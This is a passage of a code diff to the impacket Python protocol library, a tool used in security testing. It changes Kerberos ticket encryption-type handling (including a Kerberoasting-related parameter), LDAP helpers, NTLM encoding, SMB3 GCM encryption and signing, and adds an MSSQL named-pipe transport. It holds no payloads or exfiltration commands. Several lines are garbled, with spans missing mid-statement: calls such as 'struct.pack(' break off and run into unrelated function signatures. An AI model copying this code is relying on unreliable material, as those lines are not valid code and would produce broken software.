constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: try: for i in decoder.decode(r): @@ -380,6 +380,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH key = Key(cipher.enctype, nthash) elif aesKey != b'': key = Key(cipher.enctype, aesKey) + elif enctype not in encryptionTypesData: + # No salt for this etype (e.g. no AES key on the account), fall back to RC4. + from impacket.ntlm import compute_lmhash, compute_nthash + return getKerberosTGT(clientName, password, domain, compute_lmhash(password), compute_nthash(password), + aesKey, kdcHost, requestPAC, serverName, kerberoast_no_preauth) else: if enctype not in encryptionTypesData: raise Exception('No Encryption Data Available!') @@ -469,10 +474,12 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH return tgt, cipher, key, sessionKey -def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey, renew = False): +def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey, renew = False, etypes = None): tgsflags = [f for f in environ.get('KRBTGSFLAGS', "").split(',') if f] if not tgsflags: tgsflags = ['renewable', 'canonicalize'] + + requestEtypes = getKerberosTGSRequestEnctypes(etypes) # Decode the TGT try: decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] @@ -549,21 +556,9 @@ def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey, renew = reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), - int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), - int(constants.EncryptionTypes.aes256_cts_hmac_sha384_192.value), - int(constants.EncryptionTypes.aes128_cts_hmac_sha256_128.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.camellia128_cts_cmac.value), - int(constants.EncryptionTypes.camellia256_cts_cmac.value), - ) - ) + seq_set_iter(reqBody, 'etype', requestEtypes) message = encoder.encode(tgsReq) - r = sendReceive(message, domain, kdcHost) # Get the session key @@ -594,7 +589,7 @@ def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey, renew = else: # Let's extract the Ticket, change the domain and keep asking domain = spn.components[1] - return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey) + return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey, etypes=requestEtypes) ################################################################################ # DCE RPC Helpers diff --git a/impacket/ldap/ldap.py b/impacket/ldap/ldap.py index e873dcb51a..79f1a0c0f3 100644 --- a/impacket/ldap/ldap.py +++ b/impacket/ldap/ldap.py @@ -49,21 +49,10 @@ raise __all__ = [ - 'CONTROL_PAGEDRESULTS', - 'KNOWN_CONTROLS', - 'KNOWN_NOTIFICATIONS', - 'NOTIFICATION_DISCONNECT', - 'Control', - 'DerefAliases', - 'LDAPConnection', - 'LDAPFilterInvalidException', - 'LDAPFilterSyntaxError', - 'LDAPSearchError', - 'LDAPSessionError', - 'Operation', - 'ResultCode', - 'Scope', - 'SimplePagedResultsControl', + 'LDAPConnection', 'LDAPFilterSyntaxError', 'LDAPFilterInvalidException', 'LDAPSessionError', 'LDAPSearchError', + 'Control', 'SimplePagedResultsControl', 'ResultCode', 'Scope', 'DerefAliases', 'Operation', + 'CONTROL_PAGEDRESULTS', 'KNOWN_CONTROLS', 'NOTIFICATION_DISCONNECT', 'KNOWN_NOTIFICATIONS', + 'escape_filter_chars', 'get_entry_dn', 'get_entry_values', 'get_entry_value', ] # https://tools.ietf.org/search/rfc4515#section-3 @@ -88,6 +77,35 @@ MODIFY_REPLACE = 2 MODIFY_INCREMENT = 3 + +def escape_filter_chars(value): + """Escape special characters in an LDAP filter value per RFC 4515.""" + escaped = value.replace('\\', '\\5c') + escaped = escaped.replace('*', '\\2a') + escaped = escaped.replace('(', '\\28') + escaped = escaped.replace(')', '\\29') + escaped = escaped.replace('\x00', '\\00') + return escaped + + +def get_entry_dn(entry): + """Return the DN of a SearchResultEntry.""" + return str(entry['objectName']) + + +def get_entry_values(entry, attribute_name): + """Return the list of raw values for the named attribute in a SearchResultEntry.""" + for attribute in entry['attributes']: + if str(attribute['type']).lower() == attribute_name.lower(): + return list(attribute['vals']) + return [] + + +def get_entry_value(entry, attribute_name): + """Return the first value for the named attribute, or None.""" + values = get_entry_values(entry, attribute_name) + return values[0] if values else None + class LDAPConnection: def __init__(self, url, baseDN='', dstIp=None, signing=True, timeout=None): """ diff --git a/impacket/mssql/version.py b/impacket/mssql/version.py index 5dbb3c4bf3..f2454219f7 100644 --- a/impacket/mssql/version.py +++ b/impacket/mssql/version.py @@ -158,6 +158,18 @@ class MSSQL_VERSION: 4035 : "(CU4)", }), }), + 17 : ("2025", { + 0 : ("", { + 1000 : "RTM", + 4005 : "(CU1 withdrawn)", + 4006 : "(CU1)", + 4015 : "(CU2)", + 4025 : "(CU3)", + 4035 : "(CU4)", + 4045 : "(CU5)", + 4055 : "(CU6)", + }), + }), }) def __init__(self, version): diff --git a/impacket/ntlm.py b/impacket/ntlm.py index 5b14d25d4d..0d5d9bef5a 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -600,13 +600,9 @@ def getNTLMSSPType1(workstation='', domain='', signingRequired = False, use_ntlm import sys encoding = sys.getfilesystemencoding() if encoding is not None: - try: - workstation.encode('utf-16le') - except: + if isinstance(workstation, bytes): workstation = workstation.decode(encoding) - try: - domain.encode('utf-16le') - except: + if isinstance(domain, bytes): domain = domain.decode(encoding) # Let's prepare a Type 1 NTLMSSP Message @@ -646,18 +642,12 @@ def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = import sys encoding = sys.getfilesystemencoding() if encoding is not None: - try: - user.encode('utf-16le') - except: + if isinstance(user, bytes): user = user.decode(encoding) - try: - password.encode('utf-16le') - except: + if isinstance(password, bytes): password = password.decode(encoding) - try: - domain.encode('utf-16le') - except: - domain = user.decode(encoding) + if isinstance(domain, bytes): + domain = domain.decode(encoding) ntlmChallenge = NTLMAuthChallenge(type2) @@ -810,11 +800,10 @@ def LMOWFv1(password, lmhash = '', nthash=''): def compute_nthash(password): # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html) - try: - password = str(password).encode('utf_16le') - except UnicodeDecodeError: + if isinstance(password, bytes): import sys - password = password.decode(sys.getfilesystemencoding()).encode('utf_16le') + password = password.decode(sys.getfilesystemencoding()) + password = str(password).encode('utf_16le') hash = MD4.new() hash.update(password) diff --git a/impacket/smb3.py b/impacket/smb3.py index b2515f36e2..d0d9975860 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -350,6 +350,21 @@ def __UpdatePreAuthHash(self, data): calculatedHash.update(data) self._Session['PreauthIntegrityHashValue'] = calculatedHash.digest() + def __nonceLength(self): + # Nonce field is 16 bytes total, but CCM only uses the first 11, GCM the first 12 + # (rest is reserved padding). MS-SMB2 2.2.41 SMB2_TRANSFORM_HEADER: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d6ce2327-a4c9-4793-be66-7b5bad2175fa + if self._Connection.get('CipherId') == SMB2_ENCRYPTION_AES128_GCM: + return 12 + return 11 + + def __transformCipher(self, key, nonce): + # Connection.Dialect < "3.1.1" only ever supports AES-128-CCM (no cipher negotiation + # exists before 3.1.1), so CipherId being unset/0 there is the correct CCM fallback. + if self._Connection.get('CipherId') == SMB2_ENCRYPTION_AES128_GCM: + return AES.new(key, AES.MODE_GCM, nonce[:12]) + return AES.new(key, AES.MODE_CCM, nonce[:11]) + def getKerberos(self): return self._doKerberos @@ -487,11 +502,15 @@ def sendSMB(self, packet): if (self._Session['SessionFlags'] & SMB2_SESSION_FLAG_ENCRYPT_DATA) or ( packet['TreeID'] != 0 and self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is True): plainText = packet.getData() transformHeader = SMB2_TRANSFORM_HEADER() - transformHeader['Nonce'] = ''.join([rand.choice(string.ascii_letters) for _ in range(11)]) + transformHeader['Nonce'] = ''.join([rand.choice(string.ascii_letters) for _ in range(self.__nonceLength())]) transformHeader['OriginalMessageSize'] = len(plainText) + # For 3.0/3.0.2 this field really is the cipher (only CCM=0x0001 is defined); for + # 3.1.1 it's repurposed as Flags and must stay 0x0001 regardless of cipher, so the + # same constant is correct either way. MS-SMB2 2.2.41 SMB2_TRANSFORM_HEADER: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d6ce2327-a4c9-4793-be66-7b5bad2175fa transformHeader['EncryptionAlgorithm'] = SMB2_ENCRYPTION_AES128_CCM transformHeader['SessionID'] = self._Session['SessionID'] - cipher = AES.new(self._Session['EncryptionKey'], AES.MODE_CCM, b(transformHeader['Nonce'])) + cipher = self.__transformCipher(self._Session['EncryptionKey'], b(transformHeader['Nonce'])) cipher.update(transformHeader.getData()[20:]) cipherText = cipher.encrypt(plainText) transformHeader['Signature'] = cipher.digest() @@ -517,10 +536,13 @@ def recvSMB(self, packetID = None): if data.get_trailer().startswith(b'\xfdSMB'): # Packet is encrypted transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer()) - cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM, transformHeader['Nonce'][:11]) + cipher = self.__transformCipher(self._Session['DecryptionKey'], transformHeader['Nonce']) cipher.update(transformHeader.getData()[20:]) - plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):]) - #cipher.verify(transformHeader['Signature']) + # Verify the signature, not just decrypt: a tampered message must be rejected, + # not silently handed back as plaintext. MS-SMB2 3.2.5.1.1.1 Decrypting the Message: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d3c03e33-7dc7-4d58-8428-0a1484c5c874 + plainText = cipher.decrypt_and_verify(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):], + transformHeader['Signature']) packet = SMB2Packet(plainText) else: # In all SMB dialects for a response this field is interpreted as the Status field. @@ -538,10 +560,12 @@ def recvSMB(self, packetID = None): else: # Packet is encrypted transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer()) - cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM, transformHeader['Nonce'][:11]) + cipher = self.__transformCipher(self._Session['DecryptionKey'], transformHeader['Nonce']) cipher.update(transformHeader.getData()[20:]) - plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):]) - #cipher.verify(transformHeader['Signature']) + # See the tag-verification note above: same MS-SMB2 3.2.5.1.1.1 requirement + # applies to encrypted STATUS_PENDING interim responses. + plainText = cipher.decrypt_and_verify(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):], + transformHeader['Signature']) packet = SMB2Packet(plainText) status = packet['Status'] @@ -623,9 +647,14 @@ def negotiateSession(self, preferredDialect = None, negSessionResponse = None): negotiateContext2 = SMB2NegotiateContext() negotiateContext2['ContextType'] = SMB2_ENCRYPTION_CAPABILITIES + # Ciphers must be listed most-preferred first. GCM is faster on AES-NI hardware, + # CCM is the fallback for servers without 3.1.1's cipher negotiation. + # MS-SMB2 2.2.3.1.2 SMB2_ENCRYPTION_CAPABILITIES: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/16693be7-2b27-4d3b-804b-f605bde5bcdd encryptionCapabilities = SMB2EncryptionCapabilities() - encryptionCapabilities['CipherCount'] = 1 - encryptionCapabilities['Ciphers'] = b'\x01\x00' + encryptionCapabilities['CipherCount'] = 2 + encryptionCapabilities['Ciphers'] = struct.pack(' bytes: + """SHA-512(current || data), one step of the SMB 3.1.1 pre-auth integrity hash chain. + + The server iteratively hashes each request and response into the connection/session + pre-auth value during negotiate and session setup. + """ + h = SHA512.new() + h.update(current) + h.update(data) + return h.digest() + + +def _build_smb311_preauth_context() -> bytes: + """Build a serialised SMB2_PREAUTH_INTEGRITY_CAPABILITIES negotiate context (SHA-512, no salt).""" + preauth = smb2.SMB2PreAuthIntegrityCapabilities() + preauth['HashAlgorithmCount'] = 1 + preauth['SaltLength'] = 0 + preauth['HashAlgorithms'] = struct.pack(' dict: + """Parse a raw NegotiateContextList, returning {ContextType: data_bytes}.""" + contexts = {} + offset = 0 + while offset + 4 <= len(data): + ctx_type = struct.unpack_from(' len(data): + break + contexts[ctx_type] = data[offset + 8: offset + 8 + data_len] + total = 8 + data_len + offset += (total + 7) & ~7 + return contexts + + +def _build_smb311_encrypt_context(cipher_id: int) -> bytes: + """Build a serialised SMB2_ENCRYPTION_CAPABILITIES negotiate context for the given cipher.""" + enc = smb2.SMB2EncryptionCapabilities() + enc['CipherCount'] = 1 + enc['Ciphers'] = struct.pack(' None: + """Handle SMB 3.1.1 negotiate: initialise pre-auth hash chain, respond with negotiate contexts. + + Parses the client's NegotiateContextList to discover offered ciphers, selects AES-128-GCM + when available (falling back to AES-128-CCM), and advertises it in the response alongside + the mandatory pre-authentication integrity context. + """ + connData['PreauthIntegrityHashValue'] = _preauth_hash_update( + _PREAUTH_HASH_ZERO, recvPacket.rawData) + + # Parse the client's NegotiateContextList to check for encryption support. + # SMB2Negotiate.Dialects ('*= 12 + and struct.unpack('= smb2.SMB2_DIALECT_30: + smbServer.signSMBv3(respPacket, connData['SigningSessionKey']) + else: + smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode @@ -4143,7 +4331,7 @@ def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest): validateNegotiateInfoResponse['Capabilities'] = 0 validateNegotiateInfoResponse['Guid'] = b'A' * 16 validateNegotiateInfoResponse['SecurityMode'] = 1 - validateNegotiateInfoResponse['Dialect'] = smb2.SMB2_DIALECT_002 + validateNegotiateInfoResponse['Dialect'] = connData.get('Dialect', smb2.SMB2_DIALECT_002) smbServer.setConnectionData(connId, connData) return validateNegotiateInfoResponse.getData(), errorCode @@ -4350,7 +4538,7 @@ def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser } self.__smb2Commands = { - smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smb2Negotiate, + smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smbNegotiate, smb2.SMB2_SESSION_SETUP: self.__smb2CommandsHandler.smb2SessionSetup, smb2.SMB2_LOGOFF: self.__smb2CommandsHandler.smb2Logoff, smb2.SMB2_TREE_CONNECT: self.__smb2CommandsHandler.smb2TreeConnect, @@ -4659,10 +4847,92 @@ def signSMBv2(self, packet, signingSessionKey, padLength=0): packetData = packet.getData() + b'\x00' * padLength signature = hmac.new(signingSessionKey, packetData, hashlib.sha256).digest() packet['Signature'] = signature[:16] - # print "%s" % packet['Signature'].encode('hex') + + def signSMBv3(self, packet, signingKey, padLength=0): + """Sign an SMB 3.x packet with AES-CMAC using the derived signing key.""" + packet['Signature'] = b'\x00' * 16 + packet['Flags'] |= smb2.SMB2_FLAGS_SIGNED + packetData = packet.getData() + b'\x00' * padLength + signature = crypto.AES_CMAC(signingKey, packetData, len(packetData)) + packet['Signature'] = signature[:16] + + def _decryptSMB3(self, connId, data: bytes) -> bytes: + """Decrypt an SMB2_TRANSFORM_HEADER-wrapped message. + + Supports AES-128-GCM and AES-128-CCM depending on the negotiated cipher. + """ + if len(data) <= len(smb2.SMB2_TRANSFORM_HEADER()): + raise ValueError('Invalid SMB2 transform size') + + conn_data = self.getConnectionData(connId, False) + key = conn_data.get('SessionDecryptionKey', b'') + # EncryptionAlgorithm is repurposed as Flags for SMB 3.1.1 and MUST be 0x0001. + # The actual cipher is negotiated out-of-band and lives in the connection state. + flags = struct.unpack_from(' bytes: + """Wrap plain SMB2 bytes in an SMB2_TRANSFORM_HEADER encrypted with AES.""" + conn_data = self.getConnectionData(connId, False) + key = conn_data.get('SessionEncryptionKey', b'') + cipher_id = conn_data.get('CipherId', smb2.SMB2_ENCRYPTION_AES128_CCM) + transform = smb2.SMB2_TRANSFORM_HEADER() + if cipher_id == smb2.SMB2_ENCRYPTION_AES128_GCM: + nonce = os.urandom(12) + b'\x00' * 4 + elif cipher_id == smb2.SMB2_ENCRYPTION_AES128_CCM: + nonce = os.urandom(11) + b'\x00' * 5 + else: + raise ValueError('Unsupported SMB2 encryption cipher') + transform['Nonce'] = nonce + transform['OriginalMessageSize'] = len(plain_data) + # This structure field is named EncryptionAlgorithm for SMB 3.0 compatibility, + # but for SMB 3.1.1 it is the Flags field and MUST contain 0x0001. The cipher + # itself is selected from the negotiated connection state. + transform['EncryptionAlgorithm'] = 0x0001 + transform['SessionID'] = session_id + # AAD: transform header bytes starting after ProtocolId and Signature (offset 20). + aad = transform.getData()[20:] + if cipher_id == smb2.SMB2_ENCRYPTION_AES128_GCM: + cipher = AES.new(key, AES.MODE_GCM, nonce=nonce[:12]) + elif cipher_id == smb2.SMB2_ENCRYPTION_AES128_CCM: + cipher = AES.new(key, AES.MODE_CCM, nonce=nonce[:11]) + else: + raise ValueError('Unsupported SMB2 encryption cipher') + cipher.update(aad) + ciphertext = cipher.encrypt(plain_data) + transform['Signature'] = cipher.digest() + return transform.getData() + ciphertext def processRequest(self, connId, data): + # Decrypt SMB2_TRANSFORM_HEADER-wrapped packets before any parsing. + # Must happen here, before the SMB1/SMB2 detection try/except below. + if data[:4] == b'\xfdSMB': + data = self._decryptSMB3(connId, data) + # TODO: Process batched commands. isSMB2 = False SMBCommand = None @@ -4677,6 +4947,10 @@ def processRequest(self, connId, data): isSMB2 = True connData = self.getConnectionData(connId, False) + # Captured now: a command in this request (e.g. LOGOFF) may clear connData['Uid'] + # before the compound response is encrypted below, and the transform header must + # still carry the session the request was authenticated under. + sessionId = connData.get('Uid', 0) # We might have compound requests compoundedPacketsResponse = [] @@ -4867,7 +5141,12 @@ def processRequest(self, connId, data): respPacket['CreditCharge'] = packet['CreditCharge'] # respPacket['CreditCharge'] = 0 respPacket['Reserved'] = packet['Reserved'] - respPacket['SessionID'] = connData['Uid'] + # SESSION_SETUP assigns a new SessionId; all other commands echo the + # request's SessionId so the client can match the response to its session. + if packet['Command'] == smb2.SMB2_SESSION_SETUP: + respPacket['SessionID'] = connData['Uid'] + else: + respPacket['SessionID'] = packet['SessionID'] respPacket['MessageID'] = packet['MessageID'] respPacket['TreeID'] = packet['TreeID'] if hasattr(respCommand, 'getData'): @@ -4881,23 +5160,34 @@ def processRequest(self, connId, data): packetsToSend = respPackets if isSMB2 is True: - # Let's build a compound answer and sign it + # Build the complete compound answer before encrypting. A single transform + # header wraps the whole compound chain, per MS-SMB2 3.1.4.3. finalData = [] totalPackets = len(packetsToSend) + # SESSION_SETUP responses are signed but not encrypted, so the client can + # read SMB2_SESSION_FLAG_ENCRYPT_DATA before switching to encryption. + encryptResponse = connData.get('EncryptData') and all( + packet['Command'] != smb2.SMB2_SESSION_SETUP for packet in packetsToSend) for idx, packet in enumerate(packetsToSend): padLen = -len(packet) % 8 if idx + 1 < totalPackets: packet['NextCommand'] = len(packet) + padLen - if connData['SignatureEnabled']: - self.signSMBv2(packet, connData['SigningSessionKey'], padLength=padLen) - + if not encryptResponse: + if connData['SignatureEnabled']: + if connData.get('Dialect', smb2.SMB2_DIALECT_002) >= smb2.SMB2_DIALECT_30: + self.signSMBv3(packet, connData['SigningSessionKey'], padLength=padLen) + else: + self.signSMBv2(packet, connData['SigningSessionKey'], padLength=padLen) if hasattr(packet, 'getData'): finalData.append(packet.getData() + padLen * b'\x00') else: finalData.append(packet + padLen * b'\x00') - packetsToSend = [b"".join(finalData)] + finalData = b"".join(finalData) + if encryptResponse: + finalData = self._encryptSMB3(connId, finalData, sessionId) + packetsToSend = [finalData] # We clear the compound requests connData['LastRequest'] = {} @@ -5386,9 +5676,10 @@ def logonUserAndGetSessionKey(self, authenticateMessage, serverChallenge): request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = authenticateMessage['domain_name'].decode('utf-16le') - # MS-APDS: 3.1.5.2 NTLM Network Logon: If the account is a computer account, the subauthentication package is not verified, and the K bit of LogonInformation.LogonNetwork.Identity.ParameterControl is not set, then return STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.<21> - # MS-NRPC: 2.2.1.4.15 NETLOGON_LOGON_IDENTITY_INFO: K=20 - request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 2**11 + # MS-APDS 3.1.5.2 and MS-NRPC 2.2.1.4.15: K (0x800) allows + # computer accounts; E (0x20) also allows domain controller computer + # accounts, otherwise validation returns STATUS_NOLOGON_SERVER_TRUST_ACCOUNT. + request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0x800 | 0x20 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' @@ -5405,4 +5696,4 @@ def logonUserAndGetSessionKey(self, authenticateMessage, serverChallenge): #resp.dump() signingKey = ntlm.generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], authenticateMessage['session_key']) - return signingKey, resp['ErrorCode'] \ No newline at end of file + return signingKey, resp['ErrorCode'] diff --git a/impacket/tds.py b/impacket/tds.py index 387dff2920..f0694cc2ee 100644 --- a/impacket/tds.py +++ b/impacket/tds.py @@ -17,12 +17,11 @@ # - Implement in memory handshake via native SSL # - Implement Channel Binding via tls-unique # - Code comments for easier reading +# Mayyhem (@_Mayyhem) added support to TDS8.0 +# Aurélien Chalot (@Defte_) added support for MSSQL via named pipe # # ToDo: -# [ ] Implement TDS 8 which means -# - Reimplementing TDS packet's structures -# - Implement a simple TCP/TLS socket -# - Implement Channel Binding with tls-exporter (not implemented in ssl yet) +# [ ] Implement Channel Binding with tls-exporter (not implemented in ssl yet) # [ ] Add all the tokens left # [ ] parseRow should be rewritten and add support for all the SQL types in a # good way. Right now it just supports a few types. @@ -44,7 +43,6 @@ import random import binascii import errno -import math import datetime from decimal import Decimal, getcontext from uuid import uuid4 @@ -53,6 +51,10 @@ from impacket.structure import Structure from impacket.mssql.version import MSSQL_VERSION +# Needed in case we want to communicate with a named pipe +from impacket.smbconnection import SMBConnection, SessionError +STATUS_PIPE_DISCONNECTED = 0xC00000B0 +STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034 # We need to have a fake Logger to be compatible with the way Impact # prints information. Outside Impact it's just a print. Inside @@ -1112,6 +1114,98 @@ def _parseValue(self, baseType, data, properties): return f"" +# Wraps a SQL Server named pipe (\\\pipe\sql\query, or a custom instance pipe) behind the same sendall()/recv()/close() +# interface a plain TCP socket exposes, so the rest of the MSSQL class (sendTDS/recvTDS/socketSendall/socketRecv) does not need to +# know whether it is talking to a socket or to a pipe. +class NamedPipeTransport: + def __init__(self, remoteName, remoteHost, pipe_name=None): + self.remoteName = remoteName + self.remoteHost = remoteHost + self.pipe_name = pipe_name + self._smb = None + self._tid = None + self._fid = None + self._recv_buf = b"" + + def connect(self, timeout=30): + self._smb = SMBConnection(self.remoteName, self.remoteHost, timeout=timeout) + + def authenticate_ntlm(self, username, password, domain, lmhash="", nthash=""): + self._smb.login(username, password, domain, lmhash, nthash) + self._open_pipe() + + def authenticate_kerberos(self, username, password, domain, lmhash="", nthash="", aesKey="", kdcHost=None, TGT=None, TGS=None, useCache=True): + self._smb.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS, useCache) + self._open_pipe() + + def _open_pipe(self): + try: + self._tid = self._smb.connectTree("IPC$") + self._fid = self._smb.openFile(self._tid, self.pipe_name, desiredAccess=0x0012019F) + except SessionError as e: + if e.getErrorCode() == STATUS_OBJECT_NAME_NOT_FOUND: + raise ConnectionError(f"Specified named pipe '{self.pipe_name}' not found on {self.remoteName}, check -named-pipe argument") + raise + LOG.info(f"Connected to {self.remoteName}\\pipe\\{self.pipe_name}") + + def sendall(self, data): + try: + self._smb.writeFile(self._tid, self._fid, data) + except SessionError as e: + if e.getErrorCode() == STATUS_PIPE_DISCONNECTED: + raise ConnectionError("Named pipe closed by the server while writing") + raise + + def recv(self, bufsize): + if self._recv_buf: + chunk = self._recv_buf[:bufsize] + self._recv_buf = self._recv_buf[bufsize:] + return chunk + + try: + data = self._smb.readFile(self._tid, self._fid, bytesToRead=bufsize) + except SessionError as e: + if e.getErrorCode() == STATUS_PIPE_DISCONNECTED: + raise ConnectionError("Named pipe closed by the server while reading") + raise + + if not data: + return b"" + + if len(data) > bufsize: + self._recv_buf = data[bufsize:] + return data[:bufsize] + + return data + + def settimeout(self, timeout): + if self._smb is not None: + self._smb.setTimeout(timeout) + + def close(self): + smb = self._smb + try: + if self._fid is not None and smb is not None: + try: + smb.closeFile(self._tid, self._fid) + except Exception as e: + LOG.debug(f"named pipe close error: {e}") + if self._tid is not None and smb is not None: + try: + smb.disconnectTree(self._tid) + except Exception as e: + LOG.debug(f"IPC$ disconnect error: {e}") + if smb is not None: + try: + smb.close() + except Exception as e: + LOG.debug(f"SMB close error: {e}") + finally: + self._fid = None + self._tid = None + self._smb = None + + class MSSQL: def __init__( self, @@ -1122,11 +1216,14 @@ def __init__( application_name: str = "", client_interface_name: str = "", rowsPrinter=DummyPrint(), + pipe_name=None, + remoteHost="", ): # self.packetSize = 32764 self.packetSize = 32763 self.server = address self.remoteName = remoteName + self.remoteHost = remoteHost or address self.port = port self.socket = 0 self.replies = {} @@ -1143,9 +1240,14 @@ def __init__( self.out_bio = None self._recv_buffer = b"" self.login_tds_version = TDS_LOGIN7_VERSION_71 + self._connection_timeout = 30 self.__rowsPrinter = rowsPrinter self.mssql_version = "" + self.pipe_name = pipe_name + if self.pipe_name and not self.remoteName: + self.remoteName = address + self._workstation_id = workstation_id or f"DESKTOP-{uuid4().hex[:8].upper()}" self._application_name = ( application_name or "Microsoft SQL Server Management Studio - Query" @@ -1261,8 +1363,63 @@ def _parse_done_token(self, tokens, inproc=False): parser = TDS_DONEINPROC if inproc else TDS_DONE return parser(tokens) + # Opening the pipe requires SMB credentials, which connect() does not receive. login()/kerberosLogin() + # call this at the top instead, before doing the TDS-level PRELOGIN/LOGIN7 exchange. self.socket ends + # up holding a NamedPipeTransport instance, which sendTDS/recvTDS use exactly like a real socket via socketSendall()/socketRecv(). + def _create_named_pipe_transport( + self, + username, + password, + domain, + lmhash="", + nthash="", + kerberos=False, + aesKey="", + kdcHost=None, + TGT=None, + TGS=None, + useCache=True, + timeout=None, + ): + if timeout is None: + timeout = self._connection_timeout + + transport = NamedPipeTransport(self.remoteName, self.remoteHost, self.pipe_name) + try: + transport.connect(timeout) + if kerberos: + transport.authenticate_kerberos( + username, + password, + domain, + lmhash, + nthash, + aesKey, + kdcHost, + TGT, + TGS, + useCache, + ) + else: + transport.authenticate_ntlm( + username, password, domain, lmhash, nthash + ) + except Exception: + transport.close() + raise + + self.socket = transport + self._reset_tls_state() + return transport + def connect(self, timeout=30): self._reset_tls_state() + self._connection_timeout = timeout + + if self.pipe_name: + # The SMB session backing the pipe needs credentials, which are only available once login()/kerberosLogin() + return None + af, socktype, proto, canonname, sa = socket.getaddrinfo( self.server, self.port, 0, socket.SOCK_STREAM )[0] @@ -1328,6 +1485,7 @@ def sendTDS(self, packetType, data, packetID=1): def socketSendall(self, data): if self.tlsSocket is None: # socket.sendall() is the basic function used to send data over the network + # (also works for NamedPipeTransport, which exposes the same call) return self.socket.sendall(data) else: # tls_send is the one to use when dealing with TLS @@ -1504,6 +1662,11 @@ def set_tls_context(self): def _setup_tds8(self): """Wrap the TCP socket in TLS for TDS 8.0 strict encryption.""" + if self.pipe_name: + # TDS 8.0 ENCRYPT_STRICT wraps the raw TCP socket in TLS before # any TDS traffic happens. There is no equivalent for a named + # pipe transport. This should not happen but just in case... + raise NotImplementedError("TDS 8.0 strict encryption (ENCRYPT_STRICT) is not supported over a named pipe transport") + LOG.debug("(TDS8) Setting up TDS 8.0 strict encryption") context = ssl.SSLContext() context.set_ciphers('ALL:@SECLEVEL=0') @@ -1522,7 +1685,7 @@ def _setup_tds8(self): # Retrieve tls-unique for EPA channel binding self.tls_unique = self.socket.get_channel_binding("tls-unique") if self.tls_unique: - LOG.debug("(TDS8) tls-unique: %s" % self.tls_unique.hex()) + LOG.debug(f"(TDS8) tls-unique: {self.tls_unique.hex()}") else: LOG.warning("(TDS8) No tls-unique available — EPA will fail if required") LOG.info("(TDS8) TDS 8.0 TLS connection established") @@ -1551,13 +1714,10 @@ def _negotiate_encryption(self): try: resp = self.preLogin() except Exception as e: - if not self._should_retry_prelogin_as_tds8(e): + if self.pipe_name or not self._should_retry_prelogin_as_tds8(e): raise - LOG.debug( - "Plain TDS preLogin failed (%s: %s), trying TDS 8.0" - % (type(e).__name__, e) - ) + LOG.debug(f"Plain TDS preLogin failed ({type(e).__name__}: {e}), trying TDS 8.0") try: self.disconnect() except Exception: @@ -1568,6 +1728,10 @@ def _negotiate_encryption(self): # Handle server encryption response if resp["Encryption"] == TDS_ENCRYPT_STRICT: + if self.pipe_name: + # See _setup_tds8(): there is no TDS 8.0 strict encryption over named pipes. If the target enforces it, plain TDS + # login over the pipe is not possible. + raise NotImplementedError("Server requires TDS 8.0 strict encryption (ENCRYPT_STRICT), which is not supported over a named pipe transport") LOG.info("Server requires TDS 8.0 (ENCRYPT_STRICT), reconnecting with TLS") self.disconnect() self.connect() @@ -1591,7 +1755,22 @@ def kerberosLogin( TGS=None, useCache=True, cbt_fake_value=None, + smbUsername=None, + smbPassword=None, + smbDomain=None, + smbHashes=None, ): + """Authenticate to SQL Server with Kerberos Windows authentication. + + When using a named-pipe transport, SMB authentication opens the outer + transport before the TDS login. TGT and TGS are 